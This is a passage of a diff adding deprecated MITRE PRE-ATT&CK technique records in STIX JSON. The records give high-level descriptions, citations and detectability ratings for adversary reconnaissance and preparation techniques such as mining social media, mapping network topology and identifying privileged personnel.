+ }, + { + "source_name": "Scasny2015", + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Common defenses protecting against poor OPSEC practices are traditionally more policy-based in nature rather than technical. Policy-based mitigations are generally more difficult to enforce and track violations, making it more difficult that this technique can be detected by common defenses.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Specialty cases enable an adversary to use key words in order to search social media and identify personnel with poor OPSEC practices who may have access to specialized information which would make them a target of interest. In addition, the open nature of social media leads to a tendency among individuals to overshare, encouraging poor OPSEC and increasing the ease by which an adversary can identify interesting targets.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1046", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--762771c2-3675-4535-88e9-b1f891758974", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify personnel with an authority/privilege", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1271).\n\nPersonnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1271", + "external_id": "T1271" + }, + { + "source_name": "RSA-APTRecon", + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "The layers of data required and potential gaps of information to map a specific person to an authority or privilege on a network requires access to resources that may not tip off a defender.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1048", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--c9fb4451-729d-4771-b205-52c1829f949c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify resources required to build capabilities", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1348).\n\nAs with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1348", + "external_id": "T1348" + }, + { + "source_name": "APT1", + "description": "Mandiant. (n.d.). APT1: Exposing One of China\u2019s Cyber Espionage Units. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Recruitment is, by its nature, either clandestine or off the record.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Like target organizations, adversary organizations are competing to identify and hire top technical talent. Training less technical staff is also a viable option.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1125", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--04e93ca1-8415-4a46-8549-73b7c84f8dc3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify security defensive capabilities", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1263).\n\nSecurity defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1263", + "external_id": "T1263" + }, + { + "source_name": "OSFingerprinting2014", + "description": "InfoSec Institute. (2014, June 19). What You Must Know About OS Fingerprinting. Retrieved March 1, 2017." + }, + { + "source_name": "NMAP WAF NSE", + "description": "Paulino Calderon. (n.d.). http-waf-detect. Retrieved April 2, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Technically, the defender has the ability to detect. However, this is typically not performed as this type of traffic would likely not prompt the defender to take any actionable defense. In addition, this would require the defender to closely review their access logs for any suspicious activity (if the activity is even logged).", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "The adversary will have some insight into defenses based on dropped traffic or filtered responses. It is more difficult to pinpoint which defenses are implemented (e.g., [https://www.fireeye.com FireEye] WMPS, [https://www.hpe.com Hewlett Packard Enterprise] Tipping Point IPS).", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1040", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--7dae871c-effc-444b-9962-4b7efefe7d40", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify sensitive personnel information", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1274).\n\nAn adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1274", + "external_id": "T1274" + }, + { + "source_name": "RSA-APTRecon", + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "This type of information is useful to understand the individual and their ability to be blackmailed. Searching public records is easy and most information can be purchased for a low cost if the adversary really wants it.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1051", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify supply chains", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1276).\n\nSupply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1276", + "external_id": "T1276" + }, + { + "source_name": "SmithSupplyChain", + "description": "Drew Smith. (2015). Is your supply chain safe from cyberattacks?. Retrieved March 5, 2017." + }, + { + "source_name": "CERT-UKSupplyChain", + "description": "CERT-UK. (2016, October 01). Cyber-security risks in the supply chain. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "Requires an intensive process. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1053", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--78e41091-d10d-4001-b202-89612892b6ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify supply chains", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1246).\n\nSupply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1246", + "external_id": "T1246" + }, + { + "source_name": "SmithSupplyChain", + "description": "Drew Smith. (2015). Is your supply chain safe from cyberattacks?. Retrieved March 5, 2017." + }, + { + "source_name": "CERT-UKSupplyChain", + "description": "CERT-UK. (2016, October 01). Cyber-security risks in the supply chain. Retrieved March 5, 2017." + }, + { + "source_name": "RSA-supply-chain", + "description": "RSA Research. (2017, February). KINGSLAYER \u2013 A SUPPLY CHAIN ATTACK. Retrieved May 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Difficult, if not impossible to detect, because the adversary may collect this information from external sources that cannot be monitored by a defender.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "Supply chain diversity of sourcing increases adversary difficulty with accurate mapping. Industry practice has moved towards agile sourcing.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1023", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--59369f72-3005-4e54-9095-3d00efcece73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify supply chains", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1265).\n\nSupply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1265", + "external_id": "T1265" + }, + { + "source_name": "SmithSupplyChain", + "description": "Drew Smith. (2015). Is your supply chain safe from cyberattacks?. Retrieved March 5, 2017." + }, + { + "source_name": "CERT-UKSupplyChain", + "description": "CERT-UK. (2016, October 01). Cyber-security risks in the supply chain. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "Requires an intensive process to obtain the full picture. It is possible to obtain basic information/some aspects via OSINT. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1042", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--194bff4f-c218-40df-bea3-1ace715de8dd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify technology usage patterns", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1264).\n\nTechnology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1264", + "external_id": "T1264" + }, + { + "source_name": "SANSRemoteAccess", + "description": "Jason Ragland. (2010, January 18). Remotely Accessing Sensitive Resources. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Physical observations, OSINT for remote access instructions, and other techniques are not detectable.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Determine if users work offsite, connect remotely, or other possibly less restricted/secured access techniques.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1041", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--ad124f84-52d2-40e3-95dd-cfdd44eae6ef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify vulnerabilities in third-party software libraries", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1389).\n\nMany applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1389", + "external_id": "T1389" + }, + { + "source_name": "Flexera News Vulnerabilities", + "description": "John Lipsey. (2015, March 25). 15,435 Vulnerabilities in Close to 4,000 Applications in 2014. Retrieved April 12, 2017." + }, + { + "source_name": "Android Security Review 2015", + "description": "Google. (2016, April). Android Security 2015 Year In Review. Retrieved April 12, 2017." + }, + { + "source_name": "Android Multidex RCE", + "description": "Ryan Welton. (2015, June 15). A Pattern for Remote Code Execution using Arbitrary File Writes and MultiDex Applications. Retrieved April 12, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Partial", + "x_mitre_detectable_by_common_defenses_explanation": "Open source software has great appeal mostly due to the time savings and that it is free. However, using this code without assessing it's security is akin to blindly executing third party software. Companies often do not dedicate the time to appropriately detect and scan for vulnerabilities. The mainstream mobile application stores scan applications for some known vulnerabilities. For example, Google's Android Application Security Improvement Program identifies and alerts developers to vulnerabilities present in their applications from use of the Vungle, Apache Cordova, WebView SSL, GnuTLS, and Vitamio third-party libraries. However, these scans are not likely to cover all vulnerable libraries, developers may not always act on the results, and the results may not be made available to impacted end users of the applications.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Developers commonly use open source libraries such that where an adversary can easily discover known vulnerabilities and create exploits. It is also generally easy to decompile arbitrary mobile applications to determine what libraries they use, and similarly use this information to correlate against known CVEs and exploit packages.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1166", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--288b3cc3-f4da-4250-ab8c-d8b5dbed94ca", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify web defensive services", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1256).\n\nAn adversary can attempt to identify web defensive services as [CloudFlare](https://www.cloudflare.com), [IPBan](https://github.com/jjxtra/Windows-IP-Ban-Service), and [Snort](https://www.snort.org). This may be done by passively detecting services, like [CloudFlare](https://www.cloudflare.com) routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1256", + "external_id": "T1256" + }, + { + "source_name": "NMAP WAF NSE", + "description": "Paulino Calderon. (n.d.). http-waf-detect. Retrieved April 2, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Active service detection may trigger an alert. Passive service enumeration is not detected.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Adversary can passively detect services (e.g., [https://www.cloudflare.com/ CloudFlare] routing) or actively detect services (e.g., by purposefully tripping security defenses)", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1033", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--73e394e5-3d8a-40d1-ab8c-a1b4ea9db424", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Install and configure hardware, network, and systems", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1336).\n\nAn adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1336", + "external_id": "T1336" + }, + { + "source_name": "KasperskyRedOctober", + "description": "Kaspersky Labs. (2013, January 14). Kaspersky Lab Identifies Operation \u201cRed October,\u201d an Advanced Cyber-Espionage Campaign Targeting Diplomatic and Government Institutions Worldwide. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Skills are common to majority of computer scientists and \"hackers\". Can be easily obtained through contracting if not organic to adversary's organization.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1113", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--2c8a9df4-52a9-4770-94b3-5e95ab7d59f9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Leverage compromised 3rd party resources", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nThe utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1375", + "url": "https://attack.mitre.org/techniques/T1375" + }, + { + "description": "Bill Marczak, Jakub Dalek, John Scott-Railton, Ron Deibert, Sarah McKune. (2015, April 10). China\u2019s Great Cannon. Retrieved March 9, 2017.", + "source_name": "CitizenLabGreatCannon" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:21:59.520Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1152", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_detectable_by_common_defenses_explanation": "While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "id": "attack-pattern--cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Map network topology", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1252).\n\nA network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)", + "external_references": [ + { + "external_id": "T1252", + "url": "https://attack.mitre.org/techniques/T1252", + "source_name": "mitre-pre-attack" + }, + { + "description": "Linux Man Page. (n.d.). traceroute(8) - Linux man page. Retrieved April 2, 2017.", + "source_name": "man traceroute" + }, + { + "description": "A Shodan Tutorial and Primer Daniel Miessler. (n.d.). A Shodan Tutorial and Primer. Retrieved April 2, 2017.", + "source_name": "Shodan Tutorial" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "phase_name": "technical-information-gathering", + "kill_chain_name": "mitre-pre-attack" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1029", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Various available tools and data sources for scouting and detecting network topologies.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Network mapping techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. Defender review of access logs may provide some insight based on trends or patterns.", + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--695b1cce-57d7-49ae-a2af-820d50153f12", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Mine social media", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1273).\n\nAn adversary may research available open source information about a target commonly found on social media sites such as [Facebook](https://www.facebook.com), [Instagram](https://www.instagram.com), or [Pinterest](https://www.pinterest.com). Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1273", + "external_id": "T1273" + }, + { + "source_name": "RSA-APTRecon", + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Very public by design. Application of privacy settings is not a panacea.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1050", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--a54a7708-8f64-45f3-ad51-1abf976986a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Mine technical blogs/forums", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1257).\n\nTechnical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1257", + "external_id": "T1257" + }, + { + "source_name": "FunAndSun2012", + "description": "Jeff Bardin. (2012, October 10). OSINT and Cyber Intelligence - Fun and Sun in Miami. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Cannot detect access to public sites.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Success is dependent upon the existence of detailed technical specifications for target network posted in blogs/forums. Poor OPSEC practices result in an adversary gleaning a lot of sensitive information about configurations and/or issues encountered.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1034", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--31fa5b03-1ede-4fab-8a68-ed831fcf4899", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Misattributable credentials", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1322).\n\nThe use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1322", + "external_id": "T1322" + }, + { + "source_name": "FakeSSLCerts", + "description": "Paul Mutton. (2014, February 12). Fake SSL certificates deployed across the internet. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + 